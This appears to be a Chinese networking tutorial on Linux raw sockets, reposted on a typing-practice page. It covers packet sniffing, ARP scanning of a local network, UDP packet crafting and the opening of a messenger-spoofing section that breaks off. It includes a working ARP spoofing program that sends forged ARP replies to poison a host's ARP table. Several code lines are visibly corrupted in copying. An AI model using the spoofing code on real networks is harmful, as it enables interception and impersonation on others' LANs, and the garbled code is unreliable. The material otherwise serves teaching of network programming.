Home Article Practice 15_原始套接字

15_原始套接字

2024-05-14 09:35  views:261  source:拼搏百天我要上蓝翔    

知识点1【使用原始套接字】1、创建原始套接字1 int socket(PF_PACKET, SOCK_RAW,
protocol)功能:创建链路层的原始套接字参数:protocol:指定可以接收或发送的数据包类型ETH_
P_IP:IPV4数据包ETH_P_ARP:ARP数据包ETH_P_ALL:任何协议类型的数据包返回值:成功(
>0):链路层套接字失败(<0):出错2、协议格式1、UDP数据格式2、TCP报文3、IP报文4、mac报文5
、ICMP报文知识点2【使用原始套接字捕获网络数据】原始套接字数据 使用recvfrom函数接收:1 #inc
lude <stdio.h>2 #include <sys/types.h>3 #include <sys/s
ocket.h>4 #include <netinet/ether.h>5 #include <arpa/in
et.h>6 #include <unistd.h>7 int main(int argc, char con
st *argv[])8 {9 //创建一个原始套接字10 int sockfd = socket(PF_PA
CKET, SOCK_RAW, htons(ETH_P_ALL));11 if (sockfd < 0)12
{13 perror("socket");14 return 0;15 }1617 printf("sockf
d = %d\n", sockfd);1819 //recvfrom接收数据20 while (1)21 {2
2 //recvfrom收到是一个完整的帧数据23 unsigned char buf[1500] = "";
24 int len = recvfrom(sockfd, buf, sizeof(buf), 0, NULL
, NULL);2526 //分析mac报文头27 char dst_mac[18] = "";28 char
src_mac[18] = "";29 sprintf(dst_mac, "%02x:%02x:%02x:%
02x:%02x:%02x",30 buf[0], buf[1], buf[2], buf[3], buf[4
], buf[5]);31 sprintf(src_mac, "%02x:%02x:%02x:%02x:%02
x:%02x",32 buf[0 + 6], buf[1 + 6], buf[2 + 6], buf[3 +
6], buf[4 + 6]uf[5 + 6]);33 unsigned short mac_type = n
tohs(*(unsigned short *)(buf + 12));34 printf("%s‐‐‐>%s
", src_mac, dst_mac);35 if (mac_type == 0x0800)36 {37
printf("上层为IP报文\n");38 //分析IP报文39 unsigned char *ip = b
uf + 14;40 char src_ip[16] = "";41 char dst_ip[16] = ""
;42 //sprintf(src_ip, "%d.%d.%d.%d", ip[12], ip[13], ip
[14], ip[15]);43 //sprintf(dst_ip, "%d.%d.%d.%d", ip[16
], ip[17], ip[18], ip[19]);44 inet_ntop(AF_INET, ip + 1
2, src_ip, 16);45 inet_ntop(AF_INET, ip + 16, dst_ip, 1
6);46 unsigned char ip_type = ip[9];47 printf("\t%s‐‐‐‐
>%s ", src_ip, dst_ip);48 if (ip_type == 1)49 {50 print
f("上层协议为ICMP\n");51 }52 else if (ip_type == 2)53 {54 pr
intf("上层协议为IGMP\n");55 }56 else if (ip_type == 6)57 {58
printf("上层协议为TCP\n");59 //IP报文的首部长度60 int ip_head_len
= (ip[0] & 0x0f) * 4;61 unsigned char *tcp = buf + 14 +
ip_head_len;6263 unsigned short src_port = ntohs(*(uns
igned short *)tcp);64 unsigned short dst_port = ntohs(*
(unsigned short *)(tcp + 2));65 printf("\t\t%hu‐‐‐‐>%hu
", src_port, dst_port);66 int tcp_head_len = (((tcp[12
] & 0xf0) >> 4) & 0x0f) * 4;67 //printf("%s\n", tcp + t
cp_head_len);68 }69 else if (ip_type == 17)70 {71 print
f("上层协议为UDP\n");72 //IP报文的首部长度73 int ip_head_len = (ip[
0] & 0x0f) * 4;74 unsigned char *udp = buf + 14 + ip_he
ad_len;7576 unsigned short src_port = ntohs(*(unsigned
short *)udp);77 unsigned short dst_port = ntohs(*(unsig
ned short *)(udp + 2));78 printf("\t\t%hu‐‐‐‐>%hu ", sr
c_port, dst_port);7980 printf("%s\n", udp + 8);81 getch
ar();82 }83 }84 else if (mac_type == 0x0806)85 {86 prin
tf("上层为arp报文\n");87 }88 else if (mac_type == 0x8035)89
{90 printf("上层为rarp报文\n");91 }92 }9394 close(sockfd);95
return 0;96 }知识点3【使用原始套接字发送网络数据】sendto发送原始套接字使用sendto发
送完整的帧数据1 struct sockaddr_ll sll;2 给sll赋值3 sendto(sock_r
aw_fd, msg, msg_len, 0,(struct sockaddr*)&sll, sizeof(s
ll));msg是完整的帧数据msg_len帧的实际长度sll:本地主机上的帧数据 出去的网卡地址1 stru
ct sockaddr_ll sll;2 #include <netpacket/packet.h>3 str
uct sockaddr_ll只需要对sll.sll_ifindex赋值,就可使用获取本地机的接口数据1 st
ruct ifreq:#include <net/if.h>2 IFNAMSIZ 161 #include <
sys/ioctl.h>2 int ioctl(int fd, int request,void *)arp报
文分析请求方使用广播来发送请求应答方使用单播来回送数据案例1:获取某个IP的mac1 #include <st
dio.h>2 #include <sys/types.h>3 #include <sys/socket.h>
4 #include <netinet/ether.h>5 #include <arpa/inet.h>6 #
include <unistd.h>7 #include <net/if.h>8 #include <stri
ng.h>9 #include <sys/ioctl.h>10 #include <netpacket/pac
ket.h>11 int Sendto(int sockfd, unsigned char *msg, int
len, char *if_name)12 {13 struct ifreq ethreq;14 strnc
py(ethreq.ifr_name, if_name, IFNAMSIZ);15 if (‐1 == ioc
tl(sockfd, SIOCGIFINDEX, &ethreq))16 {17 perror("sockfd
");18 close(sockfd);19 _exit(‐1);20 }2122 struct sockad
dr_ll sll;23 //bzero(&sll,sizeof(sll));24 memset(&sll,
0, sizeof(sll));25 sll.sll_ifindex = ethreq.ifr_ifindex
;2627 int ret = sendto(sockfd, msg, len, 0, (struct soc
kaddr *)&sll, sizeof(sll));2829 return ret;30 }31 int m
ain(int argc, char const *argv[])32 {33 //创建一个原始套接字34 i
nt sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL
));35 if (sockfd < 0)36 {37 perror("socket");38 return
0;39 }4041 printf("sockfd = %d\n", sockfd);4243 //构建ARP
请求报文44 unsigned char buf[512] = {45 //‐‐‐‐‐‐‐‐‐‐‐‐‐‐mac
头‐‐‐‐14‐‐‐‐‐‐‐‐‐‐‐46 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
, /*目的mac地址*/47 0x00, 0x0c, 0x29, 0xa2, 0x31, 0xa6, /*源
mac地址 ubuntu的mac*/48 0x08, 0x06, /*协议协议类型为arp*/49 /*‐‐‐
‐‐‐‐‐‐‐‐‐‐‐‐arp头‐‐‐‐28‐‐‐‐‐‐‐‐‐‐‐‐‐‐*/50 0x00, 0x01, /*
硬件类型*/51 0x08, 0x00, /*协议类型*/52 6, /*硬件地址长度*/53 4, /*协议
地址长度*/54 0x00, 0x01, /*arp请求报文*/55 0x00, 0x0c, 0x29, 0x
a2, 0x31, 0xa6, /*源mac地址 ubuntu的mac*/56 10, 9, 11, 45,
/*源IP ubuntu的IP*/57 0, 0, 0, 0, 0, 0, /*目的mac地址 */58 10
, 9, 11, 250 /*目的IP*/59 };6061 //sendto发数据62 int ret =
Sendto(sockfd, buf, 14 + 28, "ens33");63 printf("ret =
%d\n", ret);6465 //recvfrom获取应答66 while (1)67 {68 unsig
ned char msg[1500] = "";69 recvfrom(sockfd, msg, sizeof
(msg), 0, NULL, NULL);70 unsigned short mac_type = ntoh
s(*(unsigned short *)(msg + 12));7172 if (mac_type == 0
x0806) //arp报文73 {74 //arp应答75 unsigned short op = ntoh
s(*(unsigned short *)(msg + 20));76 if (op == 2)77 {78
char src_mac[18] = "";79 sprintf(src_mac, "%02x:%02x:%0
2x:%02x:%02x:%02x",80 msg[0 + 6], msg[1 + 6], msg[2 + 6
], msg[3 + 6], msgsg[5 + 6]);81 char src_ip[16] = "";82
inet_ntop(AF_INET, msg + 28, src_ip, 16);83 printf("%s
‐‐‐‐‐>%s\n", src_ip, src_mac);84 break;85 }86 }87 }88 c
lose(sockfd);89 return 0;90 }案例2:扫描局域网的所有mac1 #include
<stdio.h>2 #include <sys/types.h>3 #include <sys/socket
.h>4 #include <netinet/ether.h>5 #include <arpa/inet.h>
6 #include <unistd.h>7 #include <net/if.h>8 #include <s
tring.h>9 #include <sys/ioctl.h>10 #include <netpacket/
packet.h>11 #include <pthread.h>12 int Sendto(int sockf
d, unsigned char *msg, int len, char *if_name)13 {14 st
ruct ifreq ethreq;15 strncpy(ethreq.ifr_name, if_name,
IFNAMSIZ);16 if (‐1 == ioctl(sockfd, SIOCGIFINDEX, &eth
req))17 {18 perror("sockfd");19 close(sockfd);20 _exit(
‐1);21 }2223 struct sockaddr_ll sll;24 //bzero(&sll,siz
eof(sll));25 memset(&sll, 0, sizeof(sll));26 sll.sll_if
index = ethreq.ifr_ifindex;2728 int ret = sendto(sockfd
, msg, len, 0, (struct sockaddr *)&sll, sizeof(sll));29
30 return ret;31 }32 void *recv_raw_msg(void *arg)33 {3
4 int sockfd = *(int *)arg;35 //recvfrom获取应答36 while (1
)37 {38 unsigned char msg[1500] = "";39 recvfrom(sockfd
, msg, sizeof(msg), 0, NULL, NULL);40 unsigned short ma
c_type = ntohs(*(unsigned short *)(msg + 12));4142 if (
mac_type == 0x0806) //arp报文43 {44 //arp应答45 unsigned sh
ort op = ntohs(*(unsigned short *)(msg + 20));46 if (op
== 2)47 {48 char src_mac[18] = "";49 sprintf(src_mac,
"%02x:%02x:%02x:%02x:%02x:%02x",50 msg[0 + 6], msg[1 +
6], msg[2 + 6], msg[3 + 6], msgsg[5 + 6]);51 char src_i
p[16] = "";52 inet_ntop(AF_INET, msg + 28, src_ip, 16);
53 printf("%s‐‐‐‐‐>%s\n", src_ip, src_mac);54 }55 }56 }
57 }58 int main(int argc, char const *argv[])59 {60 //创
建一个原始套接字61 int sockfd = socket(PF_PACKET, SOCK_RAW, hto
ns(ETH_P_ALL));62 if (sockfd < 0)63 {64 perror("socket"
);65 return 0;66 }6768 printf("sockfd = %d\n", sockfd);
6970 //创建一个线程用于接受arp应答71 pthread_t tid;72 pthread_creat
e(&tid, NULL, recv_raw_msg, (void *)&sockfd);73 pthread
_detach(tid);7475 int i = 0;76 for (i = 1; i < 255; i++
)77 {78 //构建ARP请求报文79 unsigned char buf[512] = {80 //‐‐
‐‐‐‐‐‐‐‐‐‐‐‐mac头‐‐‐‐14‐‐‐‐‐‐‐‐‐‐‐81 0xff, 0xff, 0xff, 0
xff, 0xff, 0xff, /*目的mac地址*/82 0x00, 0x0c, 0x29, 0xa2,
0x31, 0xa6, /*源mac地址 ubuntu的mac*/83 0x08, 0x06, /*协议协议类
型为arp*/84 /*‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐arp头‐‐‐‐28‐‐‐‐‐‐‐‐‐‐‐‐‐‐*/85
0x00, 0x01, /*硬件类型*/86 0x08, 0x00, /*协议类型*/87 6, /*硬件地
址长度*/88 4, /*协议地址长度*/89 0x00, 0x01, /*arp请求报文*/90 0x00,
0x0c, 0x29, 0xa2, 0x31, 0xa6, /*源mac地址 ubuntu的mac*/91
10, 9, 11, 45, /*源IP ubuntu的IP*/92 0, 0, 0, 0, 0, 0, /*
目的mac地址 */93 10, 9, 11, i /*目的IP*/94 };9596 //sendto发数据
97 int ret = Sendto(sockfd, buf, 14 + 28, "ens33");98 }
99100 sleep(5);101 pthread_cancel(tid);102 close(sockfd
);103 return 0;104 }105案例3:arp欺骗我们收到arp应答 一般不判断 是否发出了ar
p请求。1 #include <stdio.h>2 #include <sys/types.h>3 #incl
ude <sys/socket.h>4 #include <netinet/ether.h>5 #includ
e <arpa/inet.h>6 #include <unistd.h>7 #include <net/if.
h>8 #include <string.h>9 #include <sys/ioctl.h>10 #incl
ude <netpacket/packet.h>11 #include <net/ethernet.h>12
typedef struct13 {14 unsigned short int ar_hrd; /* Form
at of hardware address. */15 unsigned short int ar_pro;
/* Format of protocol address. */16 unsigned char ar_h
ln; /* Length of hardware address. */17 unsigned char a
r_pln; /* Length of protocol address. */18 unsigned sho
rt int ar_op; /* ARP opcode (command). */19 #if 120 /*
Ethernet looks like this : This bit is variable sized21
however... */22 unsigned char __ar_sha[ETH_ALEN]; /* S
ender hardware address. */23 unsigned char __ar_sip[4];
/* Sender IP address. */24 unsigned char __ar_tha[ETH_
ALEN]; /* Target hardware address. */25 unsigned char _
_ar_tip[4]; /* Target IP address. */26 #endif27 } ARPHD
R;28 int Sendto(int sockfd, unsigned char *msg, int len
, char *if_name)29 {30 struct ifreq ethreq;31 strncpy(e
threq.ifr_name, if_name, IFNAMSIZ);32 if (‐1 == ioctl(s
ockfd, SIOCGIFINDEX, &ethreq))33 {34 perror("sockfd");3
5 close(sockfd);36 _exit(‐1);37 }3839 struct sockaddr_l
l sll;40 //bzero(&sll,sizeof(sll));41 memset(&sll, 0, s
izeof(sll));42 sll.sll_ifindex = ethreq.ifr_ifindex;434
4 int ret = sendto(sockfd, msg, len, 0, (struct sockadd
r *)&sll, sizeof(sll));4546 return ret;47 }48 int main(
int argc, char const *argv[])49 {50 //创建一个原始套接字51 int s
ockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));5
2 if (sockfd < 0)53 {54 perror("socket");55 return 0;56
}5758 printf("sockfd = %d\n", sockfd);5960 //构建ARP请求报文
61 unsigned char buf[512] = "";6263 unsigned char src_m
ac[] = {0xee, 0xee, 0xee, 0xee, 0xee, 0xee};64 unsigned
char dst_mac[] = {0x3c, 0x7c, 0x3f, 0x5f, 0x60, 0x7c};
65 unsigned char src_ip[] = {10, 9, 11, 5};66 unsigned
char dst_ip[] = {10, 9, 11, 251};67 //构建mac头部68 struct
ether_header *eth_hdr = (struct ether_header *)buf;69 m
emcpy(eth_hdr‐>ether_dhost, dst_mac, 6);70 memcpy(eth_h
dr‐>ether_shost, src_mac, 6);71 eth_hdr‐>ether_type = h
tons(0x0806);7273 //构建arp应答报文74 ARPHDR *arp_hdr = (ARPH
DR *)(buf + 14);75 arp_hdr‐>ar_hrd = htons(1);76 arp_hd
r‐>ar_pro = htons(0x0800);77 arp_hdr‐>ar_hln = 6;78 arp
_hdr‐>ar_pln = 4;79 arp_hdr‐>ar_op = htons(2);80 memcpy
(arp_hdr‐>__ar_sha, src_mac, 6);81 memcpy(arp_hdr‐>__ar
_sip, src_ip, 4); //10,9,11,5 需要修改对应mac的IP82 memcpy(arp
_hdr‐>__ar_tha, dst_mac, 6);83 memcpy(arp_hdr‐>__ar_tip
, dst_ip, 4); //谁的arp表的IP8485 int i = 0;86 for (i = 0;
i < 10; i++)87 {88 //sendto发数据89 int ret = Sendto(sockf
d, buf, 14 + 28, "ens33");90 sleep(1);91 }9293 close(so
ckfd);94 return 0;95 }96知识点4【原始套接字发送UDP报文】udp校验需要伪头部:1
#include <stdio.h>2 #include <sys/types.h>3 #include <s
ys/socket.h>4 #include <netinet/ether.h>5 #include <arp
a/inet.h>6 #include <unistd.h>7 #include <net/if.h>8 #i
nclude <string.h>9 #include <sys/ioctl.h>10 #include <n
etpacket/packet.h>11 #include <net/ethernet.h>12 #inclu
de <netinet/ip.h>13 #include <netinet/udp.h>14 typedef
unsigned int u_int32_t;15 typedef unsigned char u_int8_
t;16 typedef unsigned short u_int16_t;17 //伪头部结构体18 typ
edef struct19 {20 u_int32_t saddr;21 u_int32_t daddr;22
u_int8_t flag;23 u_int8_t pro;24 u_int16_t len;25 } WE
I;26 unsigned short checksum(unsigned short *buf, int l
en)27 {28 int nword = len / 2;29 unsigned long sum;3031
if (len % 2 == 1)32 nword++;33 for (sum = 0; nword > 0
; nword‐‐)34 {35 sum += *buf;36 buf++;37 }38 sum = (sum
>> 16) + (sum & 0xffff);39 sum += (sum >> 16);40 retur
n ~sum;41 }4243 int Sendto(int sockfd, unsigned char *m
sg, int len, char *if_name)44 {45 struct ifreq ethreq;4
6 strncpy(ethreq.ifr_name, if_name, IFNAMSIZ);47 if (‐1
== ioctl(sockfd, SIOCGIFINDEX, &ethreq))48 {49 perror(
"sockfd");50 close(sockfd);51 _exit(‐1);52 }5354 struct
sockaddr_ll sll;55 //bzero(&sll,sizeof(sll));56 memset
(&sll, 0, sizeof(sll));57 sll.sll_ifindex = ethreq.ifr_
ifindex;5859 int ret = sendto(sockfd, msg, len, 0, (str
uct sockaddr *)&sll, sizeof(sll));6061 return ret;62 }6
3 int main(int argc, char const *argv[])64 {65 //创建一个原始
套接字66 int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ET
H_P_ALL));67 if (sockfd < 0)68 {69 perror("socket");70
return 0;71 }7273 printf("sockfd = %d\n", sockfd);7475
//获取要发送的数据76 printf("请输入你要发送的数据:");77 char data[128] =
"";78 scanf("%s", data);79 //udp的数据长度必须是偶数80 int data_l
en = strlen(data) + strlen(data) % 2;8182 //构建报文83 unsi
gned char buf[1500] = "";8485 unsigned char src_mac[] =
{0x00, 0x0c, 0x29, 0xa2, 0x31, 0xa6};86 unsigned char
dst_mac[] = {0x3c, 0x7c, 0x3f, 0x5f, 0x60, 0x7c};87 uns
igned char src_ip[] = {10, 9, 11, 45};88 unsigned char
dst_ip[] = {10, 9, 11, 251};8990 //构建mac头部91 struct eth
er_header *eth_hdr = (struct ether_header *)buf;92 memc
py(eth_hdr‐>ether_dhost, dst_mac, 6);93 memcpy(eth_hdr‐
>ether_shost, src_mac, 6);94 eth_hdr‐>ether_type = hton
s(0x0800); //上一层为IP报文9596 //构建ip报文97 struct iphdr *ip_h
dr = (struct iphdr *)(buf + 14);98 ip_hdr‐>version = 4;
//IPv4版本99 ip_hdr‐>ihl = 5; //首部长度20B100 ip_hdr‐>tos =
0; //服务类型101 ip_hdr‐>tot_len = htons(20 + 8 + data_len
); //ip的总长度102 ip_hdr‐>id = htons(0); //标识103 ip_hdr‐>f
rag_off = htons(0); //片偏移104 ip_hdr‐>ttl = 128; //生存时间1
05 ip_hdr‐>protocol = 17; //上层协议为udp106 ip_hdr‐>check =
htons(0); //IP首部校验???????107 ip_hdr‐>saddr = inet_addr
("10.9.11.45"); //源IP108 ip_hdr‐>daddr = inet_addr("10.
9.11.251"); //目的IP109110 //开始校验IP的首部111 ip_hdr‐>check =
checksum((unsigned short *)ip_hdr, 20);112113 //构建udp报
文114 struct udphdr *udp_hdr = (struct udphdr *)(buf + 1
4 + 20);115 udp_hdr‐>source = htons(8000); //源端口116 udp
_hdr‐>dest = htons(8000); //目的端口117 udp_hdr‐>len = hton
s(8 + data_len); //udp的总长度118 udp_hdr‐>check = htons(0)
; //udp校验?????????119 //将data数据拷贝到udp的数据部分120 memcpy(bu
f + 14 + 20 + 8, data, data_len);121122 //设计伪头部123 unsi
gned char wei_buf[512] = "";124 WEI *wei = (WEI *)wei_b
uf;125 wei‐>saddr = inet_addr("10.9.11.45");126 wei‐>da
ddr = inet_addr("10.9.11.251");127 wei‐>flag = 0;128 we
i‐>pro = 17;129 wei‐>len = htons(8 + data_len);130 //在伪
头部后面追加udp首部和udp数据部分131 memcpy(wei_buf + 12, buf + 14 +
20, 8 + data_len);132 udp_hdr‐>check = checksum((unsign
ed short *)wei_buf, 12 + 8 + data_len);133134 Sendto(so
ckfd, buf, 14 + 20 + 8 + data_len, "ens33");135136 clos
e(sockfd);137 return 0;138 }知识点5【飞秋欺骗】获取王林昌的飞秋信息:IPMSG1
版本:包编号:用户名:主机名:命令字:附加消息1 1_lbt6_0#128#94085393DBE7#0#0
#0#4000#9:1632732893:WLC:DESKTOP‐6NGTF0N:32:聊天的信息命令字为32
表示正文消息1 #include <stdio.h>2 #include <sys/types.h>3 #in
clude <sys/socket.h>4 #include <netinet/ether.h>5 #incl
ude <arpa/inet.h>6 #include <unistd.h>7 #include



Disclaimer: The above articles are added by users themselves and are only for typing and communication purposes. They do not represent the views of this website, and this website does not assume any legal responsibility. This statement is hereby made! If there is any infringement of your rights, please contact us promptly to delete it.

字符:    改为:
去打字就可以设置个性皮肤啦!(O ^ ~ ^ O)